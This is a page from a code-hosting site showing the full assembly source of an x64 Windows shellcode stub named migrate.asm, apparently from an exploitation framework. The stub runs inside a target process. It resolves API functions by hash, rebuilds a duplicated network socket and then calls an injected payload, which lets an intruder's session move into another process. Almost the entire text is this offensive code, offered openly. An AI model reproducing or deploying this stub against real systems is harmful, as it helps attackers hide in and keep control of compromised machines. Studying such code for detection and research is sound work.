Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/shellcode/windows/x64/src/migrate/migrate.asm
Views: 11791
;-----------------------------------------------------------------------------;1; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)2; Compatible: Windows 7, 2008, 2003, XP3; Architecture: x644; Version: 1.0 (Jan 2010)5; Size: 314 bytes6; Build: >build.py migrate7;-----------------------------------------------------------------------------;89; typedef struct MigrateContext10; {11; union12; {13; HANDLE hEvent;14; BYTE bPadding1[8];15; } e;16; union17; {18; LPVOID lpPayload;19; BYTE bPadding2[8];20; } p;21; WSAPROTOCOL_INFO info;22; } MIGRATECONTEXT, * LPMIGRATECONTEXT;2324[BITS 64]25[ORG 0]2627cld ; Clear the direction flag.28mov rsi, rcx ; RCX is a pointer to our migration stub context29sub rsp, 0x2000 ; Alloc some space on stack30and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned31call start ; Call start, this pushes the address of 'api_call' onto the stack.32delta: ;33%include "./src/block/block_api.asm"34start: ;35pop rbp ; Pop off the address of 'api_call' for calling later.36; setup the structures we need on the stack...37mov r14, 'ws2_32' ;38push r14 ; Push the bytes 'ws2_32',0,0 onto the stack.39mov rcx, rsp ; save pointer to the "ws2_32" string for LoadLibraryA call.40sub rsp, 408+8 ; alloc sizeof( struct WSAData ) bytes for the WSAData structure (+8 for alignment)41mov r13, rsp ; save pointer to the WSAData structure for WSAStartup call.42sub rsp, 0x28 ; alloc space for function calls43; perform the call to LoadLibraryA...44mov r10d, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )45call rbp ; LoadLibraryA( "ws2_32" )46; perform the call to WSAStartup...47mov rdx, r13 ; second param is a pointer to this stuct48push byte 2 ;49pop rcx ; set the param for the version requested50mov r10d, 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )51call rbp ; WSAStartup( 2, &WSAData );52; perform the call to WSASocketA...53xor r8, r8 ; we do not specify a protocol54push r8 ; push zero for the flags param.55push r8 ; push null for reserved parameter56lea r9, [rsi+16] ; We specify the WSAPROTOCOL_INFO structure from the MigrateContext57push byte 1 ;58pop rdx ; SOCK_STREAM == 159push byte 2 ;60pop rcx ; AF_INET == 261mov r10d, 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )62call rbp ; WSASocketA( AF_INET, SOCK_STREAM, 0, &info, 0, 0 );63mov rdi, rax ; save the socket for later64; perform the call to SetEvent...65mov rcx, qword [rsi] ; Set the first parameter to the migrate event66mov r10d, 0x35269F1D ; hash( "kernel32.dll", "SetEvent" )67call rbp ; SetEvent( hEvent );68; perform the call to the payload...69call qword [rsi+8] ; Call the payload...707172